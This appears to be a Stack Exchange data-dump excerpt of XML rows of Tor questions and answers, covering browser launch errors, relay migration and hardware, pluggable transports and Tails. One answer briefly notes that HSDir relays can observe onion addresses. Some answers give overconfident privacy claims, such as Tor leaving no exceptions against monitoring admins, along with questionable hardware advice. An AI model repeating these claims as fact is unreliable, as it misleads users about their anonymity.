  <row Id="9935" PostTypeId="1" CreationDate="2016-03-23T18:41:29.863" Score="7" ViewCount="18585" Body="&lt;p&gt;I recently extracted tor-browser-linux64-6.0a4_en-US.tar.xz on a mounted drive. And tried to start the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Browser didn't open due to not recognizing the .desktop file which starts the Browser. Later, I was advised to copy and paste it in home directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after pasting it in home directory, it no more shows permission problem or recognizing problem regarding the .desktop file by bash but now, it is showing permission problem in execdesktop file in Browser directory of Tor Browser's root directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user@user's-desktop:~$ cd tor-browser_en-US&#xA;user@user's-desktop:~/tor-browser_en-US$ ./start-tor-browser.desktop&#xA;/usr/bin/env: ./Browser/execdesktop: Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12226" LastEditorUserId="88" LastEditDate="2016-03-23T20:25:44.680" LastActivityDate="2022-08-26T05:07:16.920" Title="Cannot open Tor Browser using Terminal" Tags="|tor-browser-bundle|directory|ubuntu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9936" PostTypeId="1" CreationDate="2016-03-23T18:47:47.907" Score="1" ViewCount="353" Body="&lt;p&gt;When I type in URLs directly the page will not be found. I understand that sites often get taken offline, but not a single site has worked for me (out of at least 40). Using any words such as &quot;onion site&quot;, Google will refuse to load the page stating &quot;Error 403 (Forbidden)!!&quot;. My clock and date settings are updated, I'm using their recommended bridge,and Firefox Connection Settings is using SOCKS v5. Can someone recommend me a fix? I'm using Windows 8, Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12225" LastActivityDate="2016-03-23T18:47:47.907" Title=".php and .onion will not work" Tags="|onion-routing|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9937" PostTypeId="2" ParentId="9935" CreationDate="2016-03-23T20:27:32.627" Score="3" Body="&lt;p&gt;The &lt;code&gt;desktop&lt;/code&gt; file doesn't work in any case. However Tor comes with a shell script. You can execute it and Tor Browser will start. It is located in the &lt;code&gt;Browser/&lt;/code&gt; subdirectory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor-browser_en-US/Browser/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-03-23T20:27:32.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9938" PostTypeId="1" CreationDate="2016-03-23T21:57:48.463" Score="0" ViewCount="823" Body="&lt;p&gt;I have Sandboxie I use with my firefox when looking in dangerous areas of the regular web and wanted to know if i can use it with Tor?  This lets me simply close the browser if there is an infection and it will not spread to other areas of my PC.&lt;/p&gt;&#xA;" OwnerUserId="12228" LastActivityDate="2016-03-23T22:05:00.477" Title="Since Tor runs &quot;sandboxed&quot; if there is an infection thru Tor can you just close the browser and kill the infection?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9939" PostTypeId="2" ParentId="9938" CreationDate="2016-03-23T22:05:00.477" Score="1" Body="&lt;p&gt;The premise of your question is flawed. First you need to define what an &quot;infection&quot; is. Presumably you are referring to a virus that can &quot;infect&quot; your computer from the web. Second, Tor is &lt;em&gt;not&lt;/em&gt; &quot;sandboxed&quot; from the rest of your OS (unless you're running something like Qubes/Tails).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Tor browser is not &quot;sandboxed&quot; any more than any arbitrary application on your computer is &quot;sandboxed.&quot; Further, there is no guarantee that actions you take within the Tor browser will not impact the rest of the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you download a file in Tor browser, the file now exists on your computer. There is no &quot;sandbox&quot;. If the file is malicious, running it can infect you with a virus the same way that running any file can. Your computer does not care that you downloaded it via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a practical standpoint, the best advice I can give is to not open files you download over Tor. If you must open them, open them in a virtual machine. You should be especially wary of .pdf files, as they are some of the most commonly exploited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, the risk of downloading a malicious file from a Tor hidden service is far higher than the risk of downloading a malicious file from a clearnet site. That's just the nature of the beast. &lt;/p&gt;&#xA;" OwnerUserId="12224" LastActivityDate="2016-03-23T22:05:00.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9940" PostTypeId="2" ParentId="9934" CreationDate="2016-03-23T23:07:06.430" Score="1" Body="&lt;p&gt;It is good to see that you want to do research on the Tor network. First please make sure that you have &lt;a href=&quot;https://blog.torproject.org/blog/ethical-tor-research-guidelines&quot; rel=&quot;nofollow&quot;&gt;Tor's ethical research guidelines&lt;/a&gt; in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you try to create new circuits during short time periods. This puts some load on the nodes and on the network in general. Tor offers the possibility to create an own test network and furthermore there is the &lt;a href=&quot;https://github.com/torps/torps&quot; rel=&quot;nofollow&quot;&gt;Tor Path Simulator&lt;/a&gt;. This helps you to answer all kinds of questions regarding circuit building inside Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please use another library and not the live network for your experiments.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-05-24T09:51:39.560" LastActivityDate="2016-05-24T09:51:39.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9944" PostTypeId="1" CreationDate="2016-03-24T12:26:32.933" Score="1" ViewCount="246" Body="&lt;p&gt;I have a question about my tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been some months using it and now I want to change the server I use to host it, but I don't want to start again by 0, I want to maintain the relay I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to do this because now I have a high traffic&lt;/p&gt;&#xA;" OwnerUserId="7599" LastActivityDate="2016-03-24T13:40:03.997" Title="How can i change the server of a Tor relay" Tags="|server|server-administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9945" PostTypeId="2" ParentId="9944" CreationDate="2016-03-24T13:40:03.997" Score="1" Body="&lt;p&gt;you must migrate your whole &lt;code&gt;DataDirectory&lt;/code&gt; - the one you've specified in your &lt;code&gt;torrc&lt;/code&gt;. after that you're pointing your new-hosted Tor to the same directory and config - and that's it! You can change a filesystem path of the dir, of course - just don't forget to reflect it in your torrc &lt;em&gt;before&lt;/em&gt; running tor.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-24T13:40:03.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9946" PostTypeId="2" ParentId="9934" CreationDate="2016-03-24T13:43:28.107" Score="0" Body="&lt;p&gt;Actually you need to tunnel your Tor instances through a &lt;em&gt;different&lt;/em&gt; external IPs, better if even in different AS blocks. Use an IP pool and let's see the result ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-24T13:43:28.107" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9947" PostTypeId="1" CreationDate="2016-03-25T09:23:04.360" Score="3" ViewCount="209" Body="&lt;p&gt;If I am on a network in which the admins monitor sites accessed and possibly data downloaded; can I be confident that Tor would block them from doing this? Are there any exceptions - for example if there are too few people using Tor on the network, or can Tor be blocked without me being able to tell? (note they don't have the right to stop me having Tor on my computer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand from research that there is no way I can actually stop someone from figuring out I am using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any answers on this - I have been researching this stuff but don't understand all the technical details involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if there are answers to this which are bad for my privacy but have a solution I can install, that would be highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - have Tor browser 5.5.3 for Windows installed, without anything else added on top (i.e. using standard version from installation)&lt;/p&gt;&#xA;" OwnerUserId="12244" LastEditorUserId="88" LastEditDate="2016-03-31T22:33:10.703" LastActivityDate="2016-09-28T04:21:36.690" Title="Does Tor block network administrators from determining sites accessed/data downloaded?" Tags="|configuration|website|server-administration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9948" PostTypeId="2" ParentId="9947" CreationDate="2016-03-25T10:28:40.013" Score="1" Body="&lt;p&gt;Tor won't prohibit them from having their intentions, but it will disarm a lot of their tools and approaches : they will simply be unable to circumvert your traffic in many ways and using certain methods. The exceptions you're concerned about do not exist, but if in your locality will be more people using Tor - a Tor network will work for all of you a bit faster due to local mirrors of V2Dir/HSDir on a local nodes. Go ahead and welcome to the Tor world! feel free to ask further questions&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-25T10:28:40.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9949" PostTypeId="1" CreationDate="2016-03-25T12:58:08.733" Score="3" ViewCount="1160" Body="&lt;p&gt;Currently working on a Tor study, I would have a question regarding the tor hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read lot of technicals papers to better understand the tor working on this point, like these good articles:&#xA;The Tor dark net: &lt;a href=&quot;https://www.cigionline.org/sites/default/files/no20_0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cigionline.org/sites/default/files/no20_0.pdf&lt;/a&gt;&#xA;Content and popularity analysis of Tor hidden services: &lt;a href=&quot;http://arxiv.org/pdf/1308.6768.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://arxiv.org/pdf/1308.6768.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I couldn't get a clear answer to my interogations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is simple, I would like to know if it's possible, from a relay node, to sniff the traffic to get the onions address accessed through this node ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the traffic is fully end to end encrypted, but is it only the data that are encrypted, or the onions address also ? For me, the onion address is a metadata, and not usefull information, so maybe it's not encrypted and we could get these metadatas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your explanations.&lt;/p&gt;&#xA;" OwnerUserId="12245" LastEditorUserId="12245" LastEditDate="2018-01-06T12:34:12.997" LastActivityDate="2018-01-06T16:23:35.297" Title="Sniff Tor onions address from a relay" Tags="|onion-services|relays|encryption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9951" PostTypeId="2" ParentId="383" CreationDate="2016-03-25T15:48:59.250" Score="1" Body="&lt;p&gt;You could try MPTCP over multiple onioncat tun links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also mptunnel, where you could expose one openvpn endpoint multiplexed over multiple tor links.&lt;/p&gt;&#xA;" OwnerUserId="12250" LastActivityDate="2016-03-25T15:48:59.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9952" PostTypeId="1" CreationDate="2016-03-05T21:20:09.917" Score="1" ViewCount="77" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://security.stackexchange.com/questions/36571/why-can-a-tor-exit-node-decrypt-data-but-not-the-entry-node&quot;&gt;https://security.stackexchange.com/questions/36571/why-can-a-tor-exit-node-decrypt-data-but-not-the-entry-node&lt;/a&gt; and it got me thinking: &lt;code&gt;How does a tor node knows that the next hop is a node and not the final destination?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the normal &lt;code&gt;tcp/ip&lt;/code&gt; packet you have &lt;code&gt;source address&lt;/code&gt; and &lt;code&gt;destination address&lt;/code&gt;. How can TOR packets know that they did not reached their destination and it's not only another hop on the chain? Does the packet has any type of &lt;code&gt;TCP options&lt;/code&gt; like the &lt;code&gt;TCP/IP&lt;/code&gt; packet does?&lt;/p&gt;&#xA;" OwnerUserId="12044" OwnerDisplayName="Joao Miesler" LastEditorUserId="14997" LastEditDate="2019-03-28T18:34:28.107" LastActivityDate="2019-03-28T18:34:28.107" Title="How does a tor node knows that the next hop is a node and not the final destination?" Tags="|node|" AnswerCount="1" CommentCount="4" ClosedDate="2016-03-29T20:46:11.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="9953" PostTypeId="1" CreationDate="2016-03-26T06:56:54.240" Score="0" ViewCount="289" Body="&lt;p&gt;I'm trying to build my own circuits using stem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are three different error messages I get from time to time:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Circuit failed to be created: DESTROYED&lt;/li&gt;&#xA;&lt;li&gt;Circuit failed to be created: TIMEOUT&lt;/li&gt;&#xA;&lt;li&gt;Unable to reach  ((7, 'Failed to receive SOCKS5 connect request ack.'))&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone explain what do these three error messages mean? (Plus when I try to built that same circuit again I get the error sometimes and sometimes it builds up?) Is there congestion on the network? / Or is there some other reason?&lt;/p&gt;&#xA;" OwnerUserId="12161" LastActivityDate="2016-06-27T18:36:40.067" Title="Circuit failed to establish" Tags="|circuit|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9956" PostTypeId="2" ParentId="9949" CreationDate="2016-03-26T19:07:25.290" Score="1" Body="&lt;p&gt;Yes, you even don't need to dump it, but become a *HSDir** flagged relay, I.e. a hidden services directory. However, there's not much use of it,because you will see a rendezvous points and maybe some HS onions, but they are easy to change. What is your purpose of doing it?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-03-27T05:07:48.657" LastActivityDate="2016-03-27T05:07:48.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9958" PostTypeId="2" ParentId="9886" CreationDate="2016-03-27T01:37:41.380" Score="1" Body="&lt;p&gt;&lt;code&gt;obfs4&lt;/code&gt; does not have a standalone mode like &lt;code&gt;obfs3&lt;/code&gt; does. It talks to Tor using the Pluggable Transport protocol &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt&quot; rel=&quot;nofollow&quot;&gt;(specification)&lt;/a&gt;, so to use it for something else you could write a program implementing that protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shameless plug: &lt;a href=&quot;https://github.com/twisteroidambassador/pluggabletransportadapter&quot; rel=&quot;nofollow&quot;&gt;I have written a Python 3 program that create a standalone tunnel from pluggable transports&lt;/a&gt;. The documentation still needs work, but the code is working. You will need Python 3 and the &lt;code&gt;obfs4proxy&lt;/code&gt; binary for the server side, plus &lt;code&gt;rsocks&lt;/code&gt; for the client side. Once set up, the client takes incoming TCP connections, obfuscates the traffic and sends it to the server, where the traffic is de-obfuscated and forwarded to your specified destination.&lt;/p&gt;&#xA;" OwnerUserId="12266" LastActivityDate="2016-03-27T01:37:41.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9959" PostTypeId="2" ParentId="8771" CreationDate="2016-03-27T01:57:16.483" Score="1" Body="&lt;p&gt;&lt;code&gt;obfs4&lt;/code&gt; and &lt;code&gt;obfs3&lt;/code&gt;, among others, are &quot;pluggable transports&quot;, and the protocol they speak to Tor is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt&quot; rel=&quot;nofollow&quot;&gt;well specified&lt;/a&gt;. You could write a program / script to implement that protocol in order to use any pluggable transport for your own purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shameless plug: &lt;a href=&quot;https://github.com/twisteroidambassador/pluggabletransportadapter&quot; rel=&quot;nofollow&quot;&gt;I have written a Python 3 program that takes a pluggable transport binary and creates a standalone TCP tunnel,&lt;/a&gt; which can then be used to tunnel OpenVPN. The documentation is not done yet, but the code works.&lt;/p&gt;&#xA;" OwnerUserId="12266" LastActivityDate="2016-03-27T01:57:16.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9960" PostTypeId="2" ParentId="9218" CreationDate="2016-03-27T03:02:29.180" Score="0" Body="&lt;p&gt;Obf3, Obf4, Meek-azure and Scramblesuit all works fine for me here in China. (fte looks not working)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use the bundle but the vanilla Tor and I put in the config file all bridges I have together (Obf3-4, Meek-azure and scramblesuit) works pretty well :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for Debian linux the packages for meek transport plugin are available so once installed you can configure tor adding this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs4,obfs3,scramblesuit exec /usr/bin/obfs4proxy&#xA;ClientTransportPlugin meek exec /usr/bin/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="3225" LastEditDate="2016-03-27T03:11:29.970" LastActivityDate="2016-03-27T03:11:29.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9961" PostTypeId="1" CreationDate="2016-03-27T05:18:11.693" Score="1" ViewCount="51" Body="&lt;p&gt;&lt;p&gt;Given the server foot-printing that MIT has recently discovered, and the fact that we know that they have been found to be in cahoots with at least one intelligence service (i.e. The FBI) Whats to say then that they aren't ongoing in their escapades? And further, given MIT's methodology of rogue nodes, whats to say that several intel services of various countries don't act in concert, providing part of the necessary rogue nodes in order to pull a sibyl / traffic confirmation attack, or any other theoretical attacks, for that matter, by simply sharing information, thus allowing the rogue nodes to appear less suspicious?&lt;/p&gt;&lt;p&gt; and yet Tor doesn't appear to have any defense against this sort of thing. It would seem to me that the best thing to do would to be to block government agencies from using Tor all together, but yet this may be interpreted as some to go against Tor's anti-censorship mission.&lt;/p&gt;&lt;p&gt;What do you think about this? Is Tor doing enough to protect it's users, or does it seem the whole concept needs to be overhauled?&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="12267" LastActivityDate="2016-03-28T23:36:56.987" Title="Security Risk or Not?" Tags="|tor-browser-bundle|onion-services|security|" AnswerCount="1" CommentCount="1" ClosedDate="2016-03-31T22:37:40.080" ContentLicense="CC BY-SA 3.0" />
  <row Id="9962" PostTypeId="1" AcceptedAnswerId="9983" CreationDate="2016-03-27T11:56:28.613" Score="3" ViewCount="1253" Body="&lt;p&gt;When I shutdown Tails, various standard messages appear including the statement that if the system does not power-off, then it is likely that the memory wiping process has failed. More curiously, I notice that something along the following lines appears: &quot;Warning, memory wipe is insecure (using 0x00)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand why overwriting memory with 0x00 might be considered insecure ... but if it is insecure, why do it? Why is Tails not overwriting the memory using random bytes?&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="435" LastEditDate="2016-03-29T07:56:36.423" LastActivityDate="2016-03-29T14:25:40.077" Title="Why does Tails use an insecure memory wiping process" Tags="|security|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9963" PostTypeId="2" ParentId="9962" CreationDate="2016-03-27T20:49:08.540" Score="1" Body="&lt;p&gt;It is about Tails being in a kindergarten stage - it's a &lt;strong&gt;very good idea&lt;/strong&gt; behind the scenes, but the implementation itself is too raw and unfinished &lt;strong&gt;nowdays&lt;/strong&gt;. Give it a time! I myself was very disappointed about what it was a year ago; now it's still raw, but much better - don't be hasty! I'm starting to make my own Linux distro now, and I'm introducing some differences into the very good-debugged process of Debian distro making, and I can see how huge the challenges are - they just seems to be small and tiny at the start and from a side-view point, but inside there's a hell-ton of job to do. A difficult one, the one no one else has done before you, so you can't &lt;em&gt;just Google it&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="435" LastEditDate="2016-03-29T10:58:46.380" LastActivityDate="2016-03-29T10:58:46.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9964" PostTypeId="1" CreationDate="2016-03-28T00:07:35.877" Score="0" ViewCount="789" Body="&lt;p&gt;I would want to send emails to external addresses from an external web site (for example contact@mywebsite.com or .org etc) from my mail2tor account, but I received the next e-mail:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Subject:   Delayed Mail (still being retried) From:   &quot;Mail Delivery&#xA;  System&quot;  Date:   Wed, March 23, 2016 8:39&#xA;  am To:   myaccount@mail2tor.com Priority:   Normal&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is the mail system at host mail.mail2tor.com.&lt;/p&gt;&#xA;  &#xA;  #&#xA;  &#xA;  &lt;h1&gt;THIS IS A WARNING ONLY.  YOU DO NOT NEED TO RESEND YOUR MESSAGE.&lt;/h1&gt;&#xA;  &#xA;  #&#xA;  &#xA;  &lt;p&gt;Your message could not be delivered for more than 4 hour(s). It will&#xA;  be retried until it is 7 day(s) old.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For further assistance, please send mail to postmaster.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I sent an email from administrator requiring more information, but I don't received a response until now. I would know if exist any solution on this? Or as I can to do to send emails in anonymously and security? I thought that I can to use a VPN and use a normal services from send emails: Yahoo, Gmail, Microsoft account, etc, but using a VPN. Do you know a VPN to use with tor browser in windows? I found the IPVanish VPN, but I would have to pay to use it, and I haven't money.&#xA;On the other way, I read in other post, that if I received a response, this could to be in the spam folder, but, I cannot to see the spam folder in mail2tor. I only see: Drafts, Sent, Trash, and INBOX. Should I change some configuration to see it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and regards, Kathy.&lt;/p&gt;&#xA;" OwnerUserId="12176" LastEditorUserId="88" LastEditDate="2016-03-31T22:42:34.443" LastActivityDate="2022-03-31T22:06:10.597" Title="Send emails to external addresses" Tags="|anonymity|security|windows|vpn|email|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9965" PostTypeId="1" CreationDate="2016-03-28T03:31:24.200" Score="1" ViewCount="1197" Body="&lt;p&gt;I've wondering if using youtube-dl to download youtube videos will leak my real ip, like with p2p. If so, is there a way to protect against this, or is there another linux app that can do the same thing without ip leakage?&lt;/p&gt;&#xA;" OwnerUserId="12165" LastActivityDate="2016-03-28T12:02:06.580" Title="Any issues with ip leaking when using youtube-dl with tor?" Tags="|tor-browser-bundle|configuration|anonymity|ubuntu|ip-address|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9966" PostTypeId="1" CreationDate="2016-03-28T10:24:15.737" Score="2" ViewCount="2800" Body="&lt;p&gt;I read all documentation and FAQ at Tor project website, but cant find obvious information about &quot;System requirements of Tor Relay&quot; except bandwidth...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like run a relay tor node for about &quot;60-80Mbit/s&quot; total bandwidth so I want to know what power the processor and RAM should I use. How many core(-s), GHz, MBytes of RAM for server that will be able to push 60-80Mbit/s? Approximately? Please share your experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="12275" LastActivityDate="2016-09-16T21:34:44.433" Title="System requirements of Tor Relay (How powerful a CPU and RAM should I use)" Tags="|configuration|" AnswerCount="4" CommentCount="1" ClosedDate="2016-09-17T05:51:31.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="9967" PostTypeId="2" ParentId="9966" CreationDate="2016-03-28T11:36:35.390" Score="0" Body="&lt;p&gt;My setup for my Tor Relay is a Raspberry PI1. It has a Minibian (with not much packages) on it and I configured it with ~360MB of RAM for the Tor relay. My Bandwith is about 1Mbit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I could help you.&lt;/p&gt;&#xA;" OwnerUserId="12145" LastActivityDate="2016-03-28T11:36:35.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9969" PostTypeId="2" ParentId="9306" CreationDate="2016-03-28T13:57:00.660" Score="-1" Body="&lt;p&gt;I think I know the problem - let me explain. Recently I helped one person - he actually had &lt;strong&gt;a fake tor.exe&lt;/strong&gt; from his bundle installer, so attacks on an official download page &lt;strong&gt;do exist&lt;/strong&gt; and so fake Tor distro's too. You should try to use I2P to obtain a Tor through this darknet. They work together pretty good, actually - &lt;a href=&quot;https://geti2p.net/en/download&quot; rel=&quot;nofollow&quot;&gt;here is the official page&lt;/a&gt; - make sure to verify the signatures!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-28T13:57:00.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9970" PostTypeId="2" ParentId="9966" CreationDate="2016-03-28T14:09:14.457" Score="0" Body="&lt;p&gt;Raspberry Pi is handling it Fine. The &lt;strong&gt;main requrement&lt;/strong&gt; for Linux-based relay is the very last mainline kernel from kernel.org's Git and properly configured + Tor libraries compiled with &lt;em&gt;-mtune=native&lt;/em&gt;, the libraries are :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenSSL - official git repo is &lt;a href=&quot;http://openssl.org/source/gitrepo.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;libevent - official GitHub repo &lt;a href=&quot;https://github.com/libevent/libevent&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Of course, RPi won't give you 60-80Mbit/s, You will need a motherboard with two ethernet interfaces already on board(for a case of personal privacy router), or - for a &quot;minimal requirement&quot; - PCI-E v3 and a very good server NIC, like &lt;a href=&quot;http://www.intel.eu/content/www/eu/en/ethernet-products/gigabit-server-adapters/ethernet-server-adapter-i350.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; or similar : the cheap NIC for WAN/Internet will make an interrupt storm and steal your CPU power. RAM is about to be as fast as hell, but you need just 1-2 Gigabytes - in case of tor you will never have a need in the big amount of memory! Do not use single module - don't forget a dual-channel mode benefits! So 2 modules of AMD Radeon DDR3-2400 will be just fine. CPU must have AES hardware acceleration and a good clock speed : Tor's single-core crypto nowdays is a problem, so I do recommend a 2-core CPU with the highest clock and FSB speed. Storage does not matter at all - you can easily utilize a zram/zswap and tmpfs for all the things your relay will ever need, booting from a read-only flash memory. For a hardware spec proposal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Motherboard &lt;a href=&quot;http://shop.amd.com/en-us/components/motherboards/ecxcdwus3882756&quot; rel=&quot;nofollow&quot;&gt;MSI (ecx-cdw-us-3882756) Micro ATX AMD A88X&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;CPU/APU &lt;a href=&quot;http://shop.amd.com/en-us/components/processors/AD789KXDJCHBX&quot; rel=&quot;nofollow&quot;&gt;AMD A10-Series APU A10-7890K &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Memory &lt;a href=&quot;http://www.radeonmemory.com/pdf/R938G2401U1K_R9_2400_8GB_kit_Spec_Sheet.pdf&quot; rel=&quot;nofollow&quot;&gt;AMD Radeon™ R9 Gamer Series 8GB (2 x 4GB) DDR3 2400 MHz CL11&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-06-18T19:07:53.977" LastActivityDate="2016-06-18T19:07:53.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9972" PostTypeId="2" ParentId="9966" CreationDate="2016-03-28T17:07:33.420" Score="0" Body="&lt;p&gt;Many thanks for your reply.&#xA;My goal is calculate system requirements for 60-80 Mbit per second (Or so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have experience with RPi, and it is too low bandwidth through them, cuz they have weak processor. That why I would like start my new relay on dedicated server with more bandwidth, but idk which configuration server should I buy (Just cheap home PC).&lt;/p&gt;&#xA;" OwnerUserId="12275" LastActivityDate="2016-03-28T17:07:33.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9973" PostTypeId="2" ParentId="9961" CreationDate="2016-03-28T23:36:56.987" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;and yet Tor doesn't appear to have any defense against this sort of thing. It would seem to me that the best thing to do would to be to block government agencies from using Tor all together, but yet this may be interpreted as some to go against Tor's anti-censorship mission.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The design of Tor is such that you don't &lt;em&gt;have&lt;/em&gt; to trust node operators - no one node in the circuit has enough information to perform deanonymizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The concern is rather when an attacker owns a large part of the overall network, which is why the past few years &lt;a href=&quot;https://blog.torproject.org/blog/turning-funding-more-exit-relays&quot; rel=&quot;nofollow&quot;&gt;there's been a push for more nodes&lt;/a&gt; and there are &lt;a href=&quot;https://metrics.torproject.org/bubbles.html&quot; rel=&quot;nofollow&quot;&gt;metrics to help watch these things&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-03-28T23:36:56.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
